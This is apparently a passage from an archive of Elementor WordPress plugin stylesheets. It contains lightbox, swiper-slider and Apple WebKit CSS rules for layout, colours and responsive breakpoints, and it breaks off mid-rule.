--lightbox-ui-color: rgba(238, 238, 238, 0.9); --lightbox-ui-color-hover: #fff; --lightbox-text-color: var(--lightbox-ui-color); --lightbox-header-icons-size: 20px; --lightbox-navigation-icons-size: 25px; } .elementor-lightbox:not(.elementor-popup-modal) .dialog-header, .elementor-lightbox:not(.elementor-popup-modal) .dialog-message { text-align: center; } .elementor-lightbox .dialog-header { display: none; } .elementor-lightbox .dialog-widget-content { background: none; box-shadow: none; width: 100%; height: 100%; } .elementor-lightbox .dialog-message { animation-duration: 0.3s; height: 100%; } .elementor-lightbox .dialog-message.dialog-lightbox-message { padding: 0; } .elementor-lightbox .dialog-lightbox-close-button { cursor: pointer; position: absolute; font-size: var(--lightbox-header-icons-size); inset-inline-end: 0.75em; margin-top: 13px; padding: 0.25em; z-index: 2; line-height: 1; display: flex; } .elementor-lightbox .dialog-lightbox-close-button svg { height: 1em; width: 1em; } .elementor-lightbox .dialog-lightbox-close-button, .elementor-lightbox .elementor-swiper-button { color: var(--lightbox-ui-color); transition: all 0.3s; opacity: 1; } .elementor-lightbox .dialog-lightbox-close-button svg, .elementor-lightbox .elementor-swiper-button svg { fill: var(--lightbox-ui-color); } .elementor-lightbox .dialog-lightbox-close-button:hover, .elementor-lightbox .elementor-swiper-button:hover { color: var(--lightbox-ui-color-hover); } .elementor-lightbox .dialog-lightbox-close-button:hover svg, .elementor-lightbox .elementor-swiper-button:hover svg { fill: var(--lightbox-ui-color-hover); } .elementor-lightbox .swiper, .elementor-lightbox .swiper-container { height: 100%; } .elementor-lightbox .elementor-lightbox-item { display: flex; align-items: center; justify-content: center; position: relative; padding: 70px; box-sizing: border-box; height: 100%; margin: auto; } @media (max-width: 767px) { .elementor-lightbox .elementor-lightbox-item { padding: 70px 0; } } .elementor-lightbox .elementor-lightbox-image { max-height: 100%; user-select: none; } .elementor-lightbox .elementor-lightbox-image, .elementor-lightbox .elementor-lightbox-image:hover { opacity: 1; filter: none; border: none; } .elementor-lightbox .elementor-lightbox-image { box-shadow: 0 0 30px rgba(0, 0, 0, 0.3), 0 0 8px -5px rgba(0, 0, 0, 0.3); border-radius: 2px; } .elementor-lightbox .elementor-video-container { width: 100%; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-lightbox .elementor-video-container .elementor-video-square, .elementor-lightbox .elementor-video-container .elementor-video-landscape, .elementor-lightbox .elementor-video-container .elementor-video-portrait { width: 100%; height: 100%; margin: auto; } .elementor-lightbox .elementor-video-container .elementor-video-square iframe, .elementor-lightbox .elementor-video-container .elementor-video-landscape iframe, .elementor-lightbox .elementor-video-container .elementor-video-portrait iframe { border: 0; background-color: #000; } .elementor-lightbox .elementor-video-container .elementor-video-square iframe, .elementor-lightbox .elementor-video-container .elementor-video-square video, .elementor-lightbox .elementor-video-container .elementor-video-landscape iframe, .elementor-lightbox .elementor-video-container .elementor-video-landscape video, .elementor-lightbox .elementor-video-container .elementor-video-portrait iframe, .elementor-lightbox .elementor-video-container .elementor-video-portrait video { aspect-ratio: var(--video-aspect-ratio, 1.77777); } @supports not (aspect-ratio: 1/1) { .elementor-lightbox .elementor-video-container .elementor-video-square, .elementor-lightbox .elementor-video-container .elementor-video-landscape, .elementor-lightbox .elementor-video-container .elementor-video-portrait { position: relative; overflow: hidden; height: 0; padding-bottom: calc(100% / var(--video-aspect-ratio, 1.77777)); } .elementor-lightbox .elementor-video-container .elementor-video-square iframe, .elementor-lightbox .elementor-video-container .elementor-video-square video, .elementor-lightbox .elementor-video-container .elementor-video-landscape iframe, .elementor-lightbox .elementor-video-container .elementor-video-landscape video, .elementor-lightbox .elementor-video-container .elementor-video-portrait iframe, .elementor-lightbox .elementor-video-container .elementor-video-portrait video { position: absolute; top: 0; right: 0; bottom: 0; left: 0; } } .elementor-lightbox .elementor-video-container .elementor-video-square iframe, .elementor-lightbox .elementor-video-container .elementor-video-square video { width: min(90vh, 90vw); height: min(90vh, 90vw); } .elementor-lightbox .elementor-video-container .elementor-video-landscape iframe, .elementor-lightbox .elementor-video-container .elementor-video-landscape video { width: 100%; max-height: 90vh; } .elementor-lightbox .elementor-video-container .elementor-video-portrait iframe, .elementor-lightbox .elementor-video-container .elementor-video-portrait video { height: 100%; max-width: 90vw; } @media (min-width: 1025px) { .elementor-lightbox .elementor-video-container .elementor-video-landscape { width: 85vw; max-height: 85vh; } .elementor-lightbox .elementor-video-container .elementor-video-portrait { height: 85vh; max-width: 85vw; } } @media (max-width: 1024px) { .elementor-lightbox .elementor-video-container .elementor-video-landscape { width: 95vw; max-height: 95vh; } .elementor-lightbox .elementor-video-container .elementor-video-portrait { height: 95vh; max-width: 95vw; } } .elementor-lightbox .swiper .elementor-swiper-button-prev, .elementor-lightbox .swiper-container .elementor-swiper-button-prev { left: 0; } .elementor-lightbox .swiper .elementor-swiper-button-next, .elementor-lightbox .swiper-container .elementor-swiper-button-next { right: 0; } .elementor-lightbox .swiper .swiper-pagination-fraction, .elementor-lightbox .swiper-container .swiper-pagination-fraction { width: max-content; color: #ffffff; } .elementor-lightbox .elementor-swiper-button:focus { outline-width: 1px; } .elementor-lightbox .elementor-swiper-button-prev, .elementor-lightbox .elementor-swiper-button-next { height: 100%; display: flex; align-items: center; width: 15%; justify-content: center; font-size: var(--lightbox-navigation-icons-size); } @media (max-width: 767px) { .elementor-lightbox .elementor-swiper-button:focus { outline: none; } .elementor-lightbox .elementor-swiper-button-prev, .elementor-lightbox .elementor-swiper-button-next { width: 20%; } .elementor-lightbox .elementor-swiper-button-prev i, .elementor-lightbox .elementor-swiper-button-next i { padding: 10px; background-color: rgba(0, 0, 0, 0.5); } .elementor-lightbox .elementor-swiper-button-prev { left: 0; justify-content: flex-start; } .elementor-lightbox .elementor-swiper-button-next { right: 0; justify-content: flex-end; } } .elementor-slideshow__counter { color: currentColor; font-size: 0.75em; width: max-content; } .elementor-slideshow__header, .elementor-slideshow__footer { position: absolute; left: 0; width: 100%; padding: 15px 20px; transition: 0.3s; } .elementor-slideshow__footer { color: var(--lightbox-text-color); } .elementor-slideshow__header { color: var(--lightbox-ui-color); display: flex; flex-direction: row-reverse; font-size: var(--lightbox-header-icons-size); padding-inline-start: 1em; padding-inline-end: 2.6em; top: 0; align-items: center; z-index: 10; } .elementor-slideshow__header > i, .elementor-slideshow__header > svg { cursor: pointer; padding: 0.25em; margin: 0 0.35em; } .elementor-slideshow__header > i { font-size: inherit; } .elementor-slideshow__header > i:hover { color: var(--lightbox-ui-color-hover); } .elementor-slideshow__header > svg { box-sizing: content-box; fill: var(--lightbox-ui-color); height: 1em; width: 1em; } .elementor-slideshow__header > svg:hover { fill: var(--lightbox-ui-color-hover); } .elementor-slideshow__header .elementor-slideshow__counter { margin-inline-end: auto; } .elementor-slideshow__header .elementor-icon-share { z-index: 5; } .elementor-slideshow__share-menu { background-color: rgba(0, 0, 0, 0); width: 0; height: 0; position: absolute; overflow: hidden; transition: background-color 400ms; } .elementor-slideshow__share-menu .elementor-slideshow__share-links a { color: #0C0D0E; } .elementor-slideshow__share-links { display: block; position: absolute; min-width: 200px; inset-inline-end: 2.8em; top: 3em; background-color: #fff; border-radius: 3px; padding: 14px 20px; transform: scale(0); opacity: 0; transform-origin: 90% 10%; transition: all 250ms 100ms; box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3); } .elementor-slideshow__share-links a { text-align: start; color: #3f444b; font-size: 12px; line-height: 2.5; display: block; opacity: 0; transition: opacity 500ms 100ms; } .elementor-slideshow__share-links a:hover { color: #000; } .elementor-slideshow__share-links a i, .elementor-slideshow__share-links a svg { margin-inline-end: 0.75em; } .elementor-slideshow__share-links a i { font-size: 1.25em; } .elementor-slideshow__share-links a svg { height: 1.25em; width: 1.25em; } .elementor-slideshow__share-links:before { content: ""; display: block; position: absolute; top: 1px; inset-inline-end: 0.5em; border: 0.45em solid; border-color: transparent transparent #fff transparent; transform: translateY(-100%) scaleX(0.7); } .elementor-slideshow__footer { bottom: 0; z-index: 5; position: fixed; } .elementor-slideshow__title, .elementor-slideshow__description { margin: 0; } .elementor-slideshow__title { font-size: 16px; font-weight: bold; } .elementor-slideshow__description { font-size: 14px; } .elementor-slideshow--ui-hidden .elementor-slideshow__header, .elementor-slideshow--ui-hidden .elementor-slideshow__footer { opacity: 0; pointer-events: none; } .elementor-slideshow--ui-hidden .elementor-swiper-button-prev, .elementor-slideshow--ui-hidden .elementor-swiper-button-next { opacity: 0; } .elementor-slideshow--fullscreen-mode .elementor-video-container { width: 100%; } .elementor-slideshow--zoom-mode .elementor-slideshow__header, .elementor-slideshow--zoom-mode .elementor-slideshow__footer { background-color: rgba(0, 0, 0, 0.5); } .elementor-slideshow--zoom-mode .elementor-swiper-button-prev, .elementor-slideshow--zoom-mode .elementor-swiper-button-next { opacity: 0; pointer-events: none; } .elementor-slideshow--share-mode .elementor-slideshow__share-menu { top: 0; left: 0; width: 100vw; height: 100vh; opacity: 1; cursor: default; background-color: rgba(0, 0, 0, 0.5); } .elementor-slideshow--share-mode .elementor-slideshow__share-links { transform: scale(1); } .elementor-slideshow--share-mode .elementor-slideshow__share-links, .elementor-slideshow--share-mode .elementor-slideshow__share-links a { opacity: 1; } .elementor-slideshow--share-mode .elementor-slideshow__share-links .eicon-twitter { color: #1DA1F2; } .elementor-slideshow--share-mode .elementor-slideshow__share-links .eicon-facebook { color: #3b5998; } .elementor-slideshow--share-mode .elementor-slideshow__share-links .eicon-pinterest { color: #bd081c; } .elementor-slideshow--share-mode .elementor-slideshow__share-links .eicon-download-bold { color: #9DA5AE; } .elementor-slideshow--share-mode .elementor-slideshow__share-links .e-eicon-twitter { fill: #1DA1F2; } .elementor-slideshow--share-mode .elementor-slideshow__share-links .e-eicon-facebook { fill: #3b5998; } .elementor-slideshow--share-mode .elementor-slideshow__share-links .e-eicon-pinterest { fill: #bd081c; } .elementor-slideshow--share-mode .elementor-slideshow__share-links .e-eicon-download-bold { fill: #9DA5AE; } .elementor-slideshow--share-mode .eicon-share-arrow { z-index: 2; } /*# sourceMappingURL=lightbox.css.map */assets/css/conditionals/e-swiper.min.css000064400000024024147206604650014367 0ustar00.elementor-element,.elementor-lightbox{--swiper-theme-color:#000;--swiper-navigation-size:44px;--swiper-pagination-bullet-size:6px;--swiper-pagination-bullet-horizontal-gap:6px}.elementor-element .swiper-container .swiper-slide figure,.elementor-element .swiper .swiper-slide figure,.elementor-lightbox .swiper-container .swiper-slide figure,.elementor-lightbox .swiper .swiper-slide figure{line-height:0}.elementor-element .swiper-container .elementor-lightbox-content-source,.elementor-element .swiper .elementor-lightbox-content-source,.elementor-lightbox .swiper-container .elementor-lightbox-content-source,.elementor-lightbox .swiper .elementor-lightbox-content-source{display:none}.elementor-element .swiper-container .elementor-swiper-button,.elementor-element .swiper-container~.elementor-swiper-button,.elementor-element .swiper .elementor-swiper-button,.elementor-element .swiper~.elementor-swiper-button,.elementor-lightbox .swiper-container .elementor-swiper-button,.elementor-lightbox .swiper-container~.elementor-swiper-button,.elementor-lightbox .swiper .elementor-swiper-button,.elementor-lightbox .swiper~.elementor-swiper-button{position:absolute;display:inline-flex;z-index:1;cursor:pointer;font-size:25px;color:hsla(0,0%,93.3%,.9);top:50%;transform:translateY(-50%)}.elementor-element .swiper-container .elementor-swiper-button svg,.elementor-element .swiper-container~.elementor-swiper-button svg,.elementor-element .swiper .elementor-swiper-button svg,.elementor-element .swiper~.elementor-swiper-button svg,.elementor-lightbox .swiper-container .elementor-swiper-button svg,.elementor-lightbox .swiper-container~.elementor-swiper-button svg,.elementor-lightbox .swiper .elementor-swiper-button svg,.elementor-lightbox .swiper~.elementor-swiper-button svg{fill:hsla(0,0%,93.3%,.9);height:1em;width:1em}.elementor-element .swiper-container .elementor-swiper-button-prev,.elementor-element .swiper-container~.elementor-swiper-button-prev,.elementor-element .swiper .elementor-swiper-button-prev,.elementor-element .swiper~.elementor-swiper-button-prev,.elementor-lightbox .swiper-container .elementor-swiper-button-prev,.elementor-lightbox .swiper-container~.elementor-swiper-button-prev,.elementor-lightbox .swiper .elementor-swiper-button-prev,.elementor-lightbox .swiper~.elementor-swiper-button-prev{left:10px}.elementor-element .swiper-container .elementor-swiper-button-next,.elementor-element .swiper-container~.elementor-swiper-button-next,.elementor-element .swiper .elementor-swiper-button-next,.elementor-element .swiper~.elementor-swiper-button-next,.elementor-lightbox .swiper-container .elementor-swiper-button-next,.elementor-lightbox .swiper-container~.elementor-swiper-button-next,.elementor-lightbox .swiper .elementor-swiper-button-next,.elementor-lightbox .swiper~.elementor-swiper-button-next{right:10px}.elementor-element .swiper-container .elementor-swiper-button.swiper-button-disabled,.elementor-element .swiper-container~.elementor-swiper-button.swiper-button-disabled,.elementor-element .swiper .elementor-swiper-button.swiper-button-disabled,.elementor-element .swiper~.elementor-swiper-button.swiper-button-disabled,.elementor-lightbox .swiper-container .elementor-swiper-button.swiper-button-disabled,.elementor-lightbox .swiper-container~.elementor-swiper-button.swiper-button-disabled,.elementor-lightbox .swiper .elementor-swiper-button.swiper-button-disabled,.elementor-lightbox .swiper~.elementor-swiper-button.swiper-button-disabled{opacity:.3}.elementor-element .swiper-container .swiper-image-stretch .swiper-slide .swiper-slide-image,.elementor-element .swiper .swiper-image-stretch .swiper-slide .swiper-slide-image,.elementor-lightbox .swiper-container .swiper-image-stretch .swiper-slide .swiper-slide-image,.elementor-lightbox .swiper .swiper-image-stretch .swiper-slide .swiper-slide-image{width:100%}.elementor-element .swiper-container .swiper-horizontal>.swiper-pagination-bullets,.elementor-element .swiper-container .swiper-pagination-bullets.swiper-pagination-horizontal,.elementor-element .swiper-container .swiper-pagination-custom,.elementor-element .swiper-container .swiper-pagination-fraction,.elementor-element .swiper-container~.swiper-pagination-bullets.swiper-pagination-horizontal,.elementor-element .swiper-container~.swiper-pagination-custom,.elementor-element .swiper-container~.swiper-pagination-fraction,.elementor-element .swiper .swiper-horizontal>.swiper-pagination-bullets,.elementor-element .swiper .swiper-pagination-bullets.swiper-pagination-horizontal,.elementor-element .swiper .swiper-pagination-custom,.elementor-element .swiper .swiper-pagination-fraction,.elementor-element .swiper~.swiper-pagination-bullets.swiper-pagination-horizontal,.elementor-element .swiper~.swiper-pagination-custom,.elementor-element .swiper~.swiper-pagination-fraction,.elementor-lightbox .swiper-container .swiper-horizontal>.swiper-pagination-bullets,.elementor-lightbox .swiper-container .swiper-pagination-bullets.swiper-pagination-horizontal,.elementor-lightbox .swiper-container .swiper-pagination-custom,.elementor-lightbox .swiper-container .swiper-pagination-fraction,.elementor-lightbox .swiper-container~.swiper-pagination-bullets.swiper-pagination-horizontal,.elementor-lightbox .swiper-container~.swiper-pagination-custom,.elementor-lightbox .swiper-container~.swiper-pagination-fraction,.elementor-lightbox .swiper .swiper-horizontal>.swiper-pagination-bullets,.elementor-lightbox .swiper .swiper-pagination-bullets.swiper-pagination-horizontal,.elementor-lightbox .swiper .swiper-pagination-custom,.elementor-lightbox .swiper .swiper-pagination-fraction,.elementor-lightbox .swiper~.swiper-pagination-bullets.swiper-pagination-horizontal,.elementor-lightbox .swiper~.swiper-pagination-custom,.elementor-lightbox .swiper~.swiper-pagination-fraction{bottom:5px}.elementor-element .swiper-container.swiper-cube .elementor-swiper-button,.elementor-element .swiper-container.swiper-cube~.elementor-swiper-button,.elementor-element .swiper.swiper-cube .elementor-swiper-button,.elementor-element .swiper.swiper-cube~.elementor-swiper-button,.elementor-lightbox .swiper-container.swiper-cube .elementor-swiper-button,.elementor-lightbox .swiper-container.swiper-cube~.elementor-swiper-button,.elementor-lightbox .swiper.swiper-cube .elementor-swiper-button,.elementor-lightbox .swiper.swiper-cube~.elementor-swiper-button{transform:translate3d(0,-50%,1px)}.elementor-element :where(.swiper-container-horizontal)~.swiper-pagination-bullets,.elementor-lightbox :where(.swiper-container-horizontal)~.swiper-pagination-bullets{bottom:5px;left:0;width:100%}.elementor-element :where(.swiper-container-horizontal)~.swiper-pagination-bullets .swiper-pagination-bullet,.elementor-lightbox :where(.swiper-container-horizontal)~.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 var(--swiper-pagination-bullet-horizontal-gap,4px)}.elementor-element :where(.swiper-container-horizontal)~.swiper-pagination-progressbar,.elementor-lightbox :where(.swiper-container-horizontal)~.swiper-pagination-progressbar{width:100%;height:4px;left:0;top:0}.elementor-element.elementor-pagination-position-outside .swiper,.elementor-element.elementor-pagination-position-outside .swiper-container,.elementor-lightbox.elementor-pagination-position-outside .swiper,.elementor-lightbox.elementor-pagination-position-outside .swiper-container{padding-bottom:30px}.elementor-element.elementor-pagination-position-outside .swiper-container .elementor-swiper-button,.elementor-element.elementor-pagination-position-outside .swiper-container~.elementor-swiper-button,.elementor-element.elementor-pagination-position-outside .swiper .elementor-swiper-button,.elementor-element.elementor-pagination-position-outside .swiper~.elementor-swiper-button,.elementor-lightbox.elementor-pagination-position-outside .swiper-container .elementor-swiper-button,.elementor-lightbox.elementor-pagination-position-outside .swiper-container~.elementor-swiper-button,.elementor-lightbox.elementor-pagination-position-outside .swiper .elementor-swiper-button,.elementor-lightbox.elementor-pagination-position-outside .swiper~.elementor-swiper-button{top:calc(50% - 30px / 2)}.elementor-element .elementor-swiper,.elementor-lightbox .elementor-swiper{position:relative}.elementor-element .elementor-main-swiper,.elementor-lightbox .elementor-main-swiper{position:static}.elementor-element.elementor-arrows-position-outside .swiper,.elementor-element.elementor-arrows-position-outside .swiper-container,.elementor-lightbox.elementor-arrows-position-outside .swiper,.elementor-lightbox.elementor-arrows-position-outside .swiper-container{width:calc(100% - 60px)}.elementor-element.elementor-arrows-position-outside .swiper-container .elementor-swiper-button-prev,.elementor-element.elementor-arrows-position-outside .swiper-container~.elementor-swiper-button-prev,.elementor-element.elementor-arrows-position-outside .swiper .elementor-swiper-button-prev,.elementor-element.elementor-arrows-position-outside .swiper~.elementor-swiper-button-prev,.elementor-lightbox.elementor-arrows-position-outside .swiper-container .elementor-swiper-button-prev,.elementor-lightbox.elementor-arrows-position-outside .swiper-container~.elementor-swiper-button-prev,.elementor-lightbox.elementor-arrows-position-outside .swiper .elementor-swiper-button-prev,.elementor-lightbox.elementor-arrows-position-outside .swiper~.elementor-swiper-button-prev{left:0}.elementor-element.elementor-arrows-position-outside .swiper-container .elementor-swiper-button-next,.elementor-element.elementor-arrows-position-outside .swiper-container~.elementor-swiper-button-next,.elementor-element.elementor-arrows-position-outside .swiper .elementor-swiper-button-next,.elementor-element.elementor-arrows-position-outside .swiper~.elementor-swiper-button-next,.elementor-lightbox.elementor-arrows-position-outside .swiper-container .elementor-swiper-button-next,.elementor-lightbox.elementor-arrows-position-outside .swiper-container~.elementor-swiper-button-next,.elementor-lightbox.elementor-arrows-position-outside .swiper .elementor-swiper-button-next,.elementor-lightbox.elementor-arrows-position-outside .swiper~.elementor-swiper-button-next{right:0}assets/css/conditionals/apple-webkit.min.css000064400000015561147206604650015226 0ustar00.e--ua-appleWebkit.rtl{--flex-right:flex-start}.e--ua-appleWebkit .elementor-share-buttons--align-right,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-right{--justify-content:var(--flex-right,flex-end)}.e--ua-appleWebkit .elementor-share-buttons--align-center,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-center{--justify-content:center}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid{width:auto;display:flex;flex-wrap:wrap;justify-content:var(--justify-content,space-between);margin-left:calc(-.5 * var(--grid-column-gap));margin-right:calc(-.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid-item{margin-left:calc(.5 * var(--grid-column-gap));margin-right:calc(.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid{display:inline-block}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid-item{margin-left:0;margin-right:0}@media (max-width:1024px){.e--ua-appleWebkit .elementor-share-buttons-tablet--align-right,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-right{--justify-content:var(--flex-right,flex-end)}.e--ua-appleWebkit .elementor-share-buttons-tablet--align-center,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-center{--justify-content:center}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid{width:auto;display:flex;flex-wrap:wrap;justify-content:var(--justify-content,space-between);margin-left:calc(-.5 * var(--grid-column-gap));margin-right:calc(-.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid-item{margin-left:calc(.5 * var(--grid-column-gap));margin-right:calc(.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid{display:inline-block}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid-item{margin-left:0;margin-right:0}}@media (max-width:767px){.e--ua-appleWebkit .elementor-share-buttons-mobile--align-right,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-right{--justify-content:var(--flex-right,flex-end)}.e--ua-appleWebkit .elementor-share-buttons-mobile--align-center,.e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-center{--justify-content:center}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid{width:auto;display:flex;flex-wrap:wrap;justify-content:var(--justify-content,space-between);margin-left:calc(-.5 * var(--grid-column-gap));margin-right:calc(-.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid-item{margin-left:calc(.5 * var(--grid-column-gap));margin-right:calc(.5 * var(--grid-column-gap))}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid{display:inline-block}.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid-item,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid,.e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid-item{margin-left:0;margin-right:0}}assets/css/conditionals/e-swiper.css000064400000025032147206604650013605 0ustar00.elementor-element, .elementor-lightbox { --swiper-theme-color: #000; --swiper-navigation-size: 44px; --swiper-pagination-bullet-size: 6px; --swiper-pagination-bullet-horizontal-gap: 6px; } .elementor-element .swiper .swiper-slide figure, .elementor-element .swiper-container .swiper-slide figure, .elementor-lightbox .swiper .swiper-slide figure, .elementor-lightbox .swiper-container .swiper-slide figure { line-height: 0; } .elementor-element .swiper .elementor-lightbox-content-source, .elementor-element .swiper-container .elementor-lightbox-content-source, .elementor-lightbox .swiper .elementor-lightbox-content-source, .elementor-lightbox .swiper-container .elementor-lightbox-content-source { display: none; } .elementor-element .swiper .elementor-swiper-button, .elementor-element .swiper ~ .elementor-swiper-button, .elementor-element .swiper-container .elementor-swiper-button, .elementor-element .swiper-container ~ .elementor-swiper-button, .elementor-lightbox .swiper .elementor-swiper-button, .elementor-lightbox .swiper ~ .elementor-swiper-button, .elementor-lightbox .swiper-container .elementor-swiper-button, .elementor-lightbox .swiper-container ~ .elementor-swiper-button { position: absolute; display: inline-flex; z-index: 1; cursor: pointer; font-size: 25px; color: rgba(238, 238, 238, 0.9); top: 50%; transform: translateY(-50%); } .elementor-element .swiper .elementor-swiper-button svg, .elementor-element .swiper ~ .elementor-swiper-button svg, .elementor-element .swiper-container .elementor-swiper-button svg, .elementor-element .swiper-container ~ .elementor-swiper-button svg, .elementor-lightbox .swiper .elementor-swiper-button svg, .elementor-lightbox .swiper ~ .elementor-swiper-button svg, .elementor-lightbox .swiper-container .elementor-swiper-button svg, .elementor-lightbox .swiper-container ~ .elementor-swiper-button svg { fill: rgba(238, 238, 238, 0.9); height: 1em; width: 1em; } .elementor-element .swiper .elementor-swiper-button-prev, .elementor-element .swiper ~ .elementor-swiper-button-prev, .elementor-element .swiper-container .elementor-swiper-button-prev, .elementor-element .swiper-container ~ .elementor-swiper-button-prev, .elementor-lightbox .swiper .elementor-swiper-button-prev, .elementor-lightbox .swiper ~ .elementor-swiper-button-prev, .elementor-lightbox .swiper-container .elementor-swiper-button-prev, .elementor-lightbox .swiper-container ~ .elementor-swiper-button-prev { left: 10px; } .elementor-element .swiper .elementor-swiper-button-next, .elementor-element .swiper ~ .elementor-swiper-button-next, .elementor-element .swiper-container .elementor-swiper-button-next, .elementor-element .swiper-container ~ .elementor-swiper-button-next, .elementor-lightbox .swiper .elementor-swiper-button-next, .elementor-lightbox .swiper ~ .elementor-swiper-button-next, .elementor-lightbox .swiper-container .elementor-swiper-button-next, .elementor-lightbox .swiper-container ~ .elementor-swiper-button-next { right: 10px; } .elementor-element .swiper .elementor-swiper-button.swiper-button-disabled, .elementor-element .swiper ~ .elementor-swiper-button.swiper-button-disabled, .elementor-element .swiper-container .elementor-swiper-button.swiper-button-disabled, .elementor-element .swiper-container ~ .elementor-swiper-button.swiper-button-disabled, .elementor-lightbox .swiper .elementor-swiper-button.swiper-button-disabled, .elementor-lightbox .swiper ~ .elementor-swiper-button.swiper-button-disabled, .elementor-lightbox .swiper-container .elementor-swiper-button.swiper-button-disabled, .elementor-lightbox .swiper-container ~ .elementor-swiper-button.swiper-button-disabled { opacity: 0.3; } .elementor-element .swiper .swiper-image-stretch .swiper-slide .swiper-slide-image, .elementor-element .swiper-container .swiper-image-stretch .swiper-slide .swiper-slide-image, .elementor-lightbox .swiper .swiper-image-stretch .swiper-slide .swiper-slide-image, .elementor-lightbox .swiper-container .swiper-image-stretch .swiper-slide .swiper-slide-image { width: 100%; } .elementor-element .swiper .swiper-pagination-fraction, .elementor-element .swiper .swiper-pagination-custom, .elementor-element .swiper .swiper-horizontal > .swiper-pagination-bullets, .elementor-element .swiper .swiper-pagination-bullets.swiper-pagination-horizontal, .elementor-element .swiper ~ .swiper-pagination-fraction, .elementor-element .swiper ~ .swiper-pagination-custom, .elementor-element .swiper ~ .swiper-pagination-bullets.swiper-pagination-horizontal, .elementor-element .swiper-container .swiper-pagination-fraction, .elementor-element .swiper-container .swiper-pagination-custom, .elementor-element .swiper-container .swiper-horizontal > .swiper-pagination-bullets, .elementor-element .swiper-container .swiper-pagination-bullets.swiper-pagination-horizontal, .elementor-element 